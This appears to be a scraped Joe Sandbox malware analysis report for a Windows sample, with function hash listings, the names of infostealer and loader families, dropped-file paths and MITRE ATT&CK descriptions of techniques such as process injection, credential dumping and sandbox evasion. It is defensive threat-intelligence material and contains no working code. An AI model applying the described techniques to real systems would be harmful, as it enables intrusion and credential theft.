Function 05250490 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61bf127a62cf23ed950670dc36bd0021a7a567975d6431ef8a425cf89ce2ec16
Instruction ID: 6ed23b7416d2b1d27f985b904bc8f95c722dad80dfc28c235f7eb162530457ea
Opcode Fuzzy Hash: 61bf127a62cf23ed950670dc36bd0021a7a567975d6431ef8a425cf89ce2ec16
Instruction Fuzzy Hash: F7C145EB57D115BDB202C5826F5CBFAA76FEBD6730B30842AFC03E5542E2E80A495531

Uniqueness

Uniqueness Score: -1.00%

Function 05250C5C Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d4b31751e0ac25c8276712c5b86ee63ffd5eb52e9c41654f4a69f4a29211753
Instruction ID: c66bd0cbb223d26a4b9913e77d8dc4e37ab2999b38631dfd27a108644d29a468
Opcode Fuzzy Hash: 5d4b31751e0ac25c8276712c5b86ee63ffd5eb52e9c41654f4a69f4a29211753
Instruction Fuzzy Hash: 073126FB52D265BDB202C5916F18AFA67AEDED37307318467FC42D6002E2E55E094131

Uniqueness

Uniqueness Score: -1.00%

Function 05250C09 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d42ae56562051b99e25061fe95b19c9deda92b4342937b515ecf274e9b594b98
Instruction ID: 04241a13a0f72e4b9c82a6e6ae4661c57143f5d7ccdfc43392f80d8c65eb2e4e
Opcode Fuzzy Hash: d42ae56562051b99e25061fe95b19c9deda92b4342937b515ecf274e9b594b98
Instruction Fuzzy Hash: 9531AFFB52C254BDF202C6916F58AFA67BEEEC6730731846BFC42D6102E2E95E095131

Uniqueness

Uniqueness Score: -1.00%

Function 05250C03 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb1657b58833a7e1f4c5143c9c7212879c79add897305175788f46bce618b57e
Instruction ID: 0fbd80303bf52c25bd6e18ef57c5a11186085b471d3691fb9d16812836412a5a
Opcode Fuzzy Hash: bb1657b58833a7e1f4c5143c9c7212879c79add897305175788f46bce618b57e
Instruction Fuzzy Hash: 3F21B1FB52C224BDB202C1816F58AFA67AFEEC67307318427FC03D6102E2E95E095131

Uniqueness

Uniqueness Score: -1.00%

Function 0535017D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f409759eb77b161d2d661e264a3aa75b2b4fc9cca48b02d5e75ed7f4c03d6a3f
Instruction ID: 69a785adc179e8acbdb53a57425d359aee15f5bdce249071d08aa7cf600da4ee
Opcode Fuzzy Hash: f409759eb77b161d2d661e264a3aa75b2b4fc9cca48b02d5e75ed7f4c03d6a3f
Instruction Fuzzy Hash: FB216DEB18C020BD750AC582AB6CEFA6B3FE1C6730371A42AFC07C4C02E2964B4D5176

Uniqueness

Uniqueness Score: -1.00%

Function 0535018F Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 786a5f307b1e4f5eb1d4a5d5eb05c6ffee2b7db4b4e40f2c7f4821afc5bfcf64
Instruction ID: 66fd4b7abf88f01f2e286a8a319c810f23b6f9979d1dfcfbc7dbcb965abed654
Opcode Fuzzy Hash: 786a5f307b1e4f5eb1d4a5d5eb05c6ffee2b7db4b4e40f2c7f4821afc5bfcf64
Instruction Fuzzy Hash: 3A117FEB19C120BDB10AC5826B6CEFA677FE1C6730371942AFC07D4C02E29A4B4D6172

Uniqueness

Uniqueness Score: -1.00%

Function 05350176 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85eddf423a4f793754e96630759ce413a9f71c83890f75ad4f79dca15ee6f51b
Instruction ID: 52e73c98491c488eb180e3c9d647e9026067d04eaa30086e80f6ba956a18ed4d
Opcode Fuzzy Hash: 85eddf423a4f793754e96630759ce413a9f71c83890f75ad4f79dca15ee6f51b
Instruction Fuzzy Hash: 0B113DEB19C120BE710AC5826B5CEFA672FE1C6730371942AFC07D4C02E29A4B4D6172

Uniqueness

Uniqueness Score: -1.00%

Function 053501A8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c065a36f4cecd136942c102ed446362d92d483f133dc27e7289a13f7474b0a
Instruction ID: 9bc4e48256e88661a906456dd7e97a3e047fd0364ad7c330eb8efe08e254b681
Opcode Fuzzy Hash: c7c065a36f4cecd136942c102ed446362d92d483f133dc27e7289a13f7474b0a
Instruction Fuzzy Hash: 0F111CAB14D124BEB50AC5826B1DEFA672EE1C2730371942AFD07D4C02E29A4B0D6171

Uniqueness

Uniqueness Score: -1.00%

Function 053501CA Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d0ee7a52d3975336208591dae6b4532d829876075d50e87849545d5832b89ec
Instruction ID: 952e01758ca4ce9f9e31db62a2a3af83d01a847262f1f87b5082f7a3e1318114
Opcode Fuzzy Hash: 2d0ee7a52d3975336208591dae6b4532d829876075d50e87849545d5832b89ec
Instruction Fuzzy Hash: 34111CAB14D120BDB10AC5816B6CEFA672FE1C6730771942AFC07D4C02E29A4B4D6132

Uniqueness

Uniqueness Score: -1.00%

Function 053501BC Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577381f28a7fb96bade8ee79b61f1c97f8f50e952025a1a3ed2457f7baac5fe6
Instruction ID: 25946f1b1ec3398ba88305ebb3c27972890368d3c7708e53bfdcc81e2d63c67f
Opcode Fuzzy Hash: 577381f28a7fb96bade8ee79b61f1c97f8f50e952025a1a3ed2457f7baac5fe6
Instruction Fuzzy Hash: F711FBAB15D125BEB20AD5826B1DEFA672EE1C27307B1942BFC07D4C02E39A5B4D6131

Uniqueness

Uniqueness Score: -1.00%

Function 05250CA3 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ea822a2b7154507b0a86087832670e1625a2fb3a849c27d6bf1ebe145f5d6ff
Instruction ID: 11ca14f7b8baca7b18734a0c3322e1ae7c9eb60d663cf02b82c37be5a108d3b0
Opcode Fuzzy Hash: 3ea822a2b7154507b0a86087832670e1625a2fb3a849c27d6bf1ebe145f5d6ff
Instruction Fuzzy Hash: EC11C3BB52D255BEE211C5905F1CAFA77BAEFC2730B318466FC02E6002E2E55E094131

Uniqueness

Uniqueness Score: -1.00%

Function 05250C88 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9084b440b4ab4cca69810f0dcfce25bd3179c111e63714567215c7b473829d7d
Instruction ID: 8871830686ef6763fe258f922b5781719c7a09eef474c1570f6240522eafff69
Opcode Fuzzy Hash: 9084b440b4ab4cca69810f0dcfce25bd3179c111e63714567215c7b473829d7d
Instruction Fuzzy Hash: 3211B1FB62D255BDB201C5916F1CAFA677EEEC6730B35886AFC02E6102E2E55E094131

Uniqueness

Uniqueness Score: -1.00%

Function 053501E8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8247bcd47c38273c54dad5e1288117396939976650d7421b6a4a2d8c7e9437d4
Instruction ID: fa9072e1d8c80d461afe6b8fa93e6a67aba7f447e65848169e58c726e53d1784
Opcode Fuzzy Hash: 8247bcd47c38273c54dad5e1288117396939976650d7421b6a4a2d8c7e9437d4
Instruction Fuzzy Hash: 2A011EAB18D014BDB61AC5826B2DEFA673FE1C67307B1D42BFD07D4C01A29A574D6131

Uniqueness

Uniqueness Score: -1.00%

Function 053501F1 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1441c9889cf469d8777a24ecc346f2c2e27a0ae5f129428464d53fd0846e48b
Instruction ID: 49d442e0fa77953a980ee55ae5792174d1a31272630fadb5d7dbe3daaa7e6b31
Opcode Fuzzy Hash: b1441c9889cf469d8777a24ecc346f2c2e27a0ae5f129428464d53fd0846e48b
Instruction Fuzzy Hash: 26011EAB14C010BDB54AC5826B2CEFA673EE1D67307B1D427F807D0C02E39A570D5135

Uniqueness

Uniqueness Score: -1.00%

Function 05350221 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 602115b643f0b1b0257d51036bd5057e933745d549cb4a878063c6d909d29d26
Instruction ID: 3a85d86142326f04b47dbb529bc4c960cab690e3fed3bc30bb4d5425fe620d5f
Opcode Fuzzy Hash: 602115b643f0b1b0257d51036bd5057e933745d549cb4a878063c6d909d29d26
Instruction Fuzzy Hash: A5012DAB14C114BE7209D5916B2CEFAAB3EE1D6730771D42BFD07E4C02E2964B0D5131

Uniqueness

Uniqueness Score: -1.00%

Function 05350211 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a677c43f72d7f1f2bb955a5eacae4aae62a34c413b4e1789a570833f532d284
Instruction ID: 118708fd68786c1c7a960f5e0b5203e3f3ea0e0b1315c538d0fb303a9d430487
Opcode Fuzzy Hash: 7a677c43f72d7f1f2bb955a5eacae4aae62a34c413b4e1789a570833f532d284
Instruction Fuzzy Hash: F001E9AB14D011BEB559C5826B2DEFA673EE2D27307B1942BFC47D0C02A396564D6131

Uniqueness

Uniqueness Score: -1.00%

Function 05250CC8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3080048564.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5250000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed42c0cb5aa4e185f0d924ccff864cccb6757293a6fbebd9f0931a0a50ddae5f
Instruction ID: 04e9460cd1990734dc0ccee1284e7bfee2e159922b3b525e50d89e15ddc026b7
Opcode Fuzzy Hash: ed42c0cb5aa4e185f0d924ccff864cccb6757293a6fbebd9f0931a0a50ddae5f
Instruction Fuzzy Hash: D801C2FB62D255BDF201C6816F18AFEA76EEAD5734B318827FC02E2002E2E51E094131

Uniqueness

Uniqueness Score: -1.00%

Function 05350252 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4c72f2f17ed7d8abcfbc4205b8e458cc30417b0cdfc17f63bf2e193a8db0167
Instruction ID: f1eee624f8e35c70bebfdaa0381b3bc7182a4ec4a69d0b7cb39c1a8eee689f6c
Opcode Fuzzy Hash: e4c72f2f17ed7d8abcfbc4205b8e458cc30417b0cdfc17f63bf2e193a8db0167
Instruction Fuzzy Hash: 99F06DAB14C010AE624AC1826B2CEBA6B2EE1D23313B4942BF843D0C01A686570D5131

Uniqueness

Uniqueness Score: -1.00%

Function 053502A6 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c153aceee9f2f57b4c1195f7bb12b2fb31450ae9b6f8c357efdc1c2c2111ff96
Instruction ID: 9509667c587bbd489e9c2e288cb7cfb31c13a48ff35db202dd7280c44fb6cf15
Opcode Fuzzy Hash: c153aceee9f2f57b4c1195f7bb12b2fb31450ae9b6f8c357efdc1c2c2111ff96
Instruction Fuzzy Hash: FBF082AB18D010BEA115D6D1676CEF6AB7EE0DA330371A066F803D4C01A286464D9130

Uniqueness

Uniqueness Score: -1.00%

Function 05350296 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3081391249.0000000005350000.00000040.00001000.00020000.00000000.sdmp, Offset: 05350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5350000_d361f35322.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3998abd4d043ac435c0aac22e074b386d993cc253a9837cc9f062f84c642258
Instruction ID: bb05c713f64dabd5e07b685b4813d51627498d0431e06391764df69d3858d913
Opcode Fuzzy Hash: b3998abd4d043ac435c0aac22e074b386d993cc253a9837cc9f062f84c642258
Instruction Fuzzy Hash: AAF030AB18D110BEA259D5D16B1DEFAAB2EB1C6731371942BF943E0C01A2D6470DA131

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1CMweaqlKp.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Threatname: SmokeLoader

Threatname: Amadey

Threatname: RedLine

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGDHDHJEBGHJKFIECBGCBGCAFI

C:\ProgramData\EHCBAAAF

Windows Analysis Report
1CMweaqlKp.exe

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
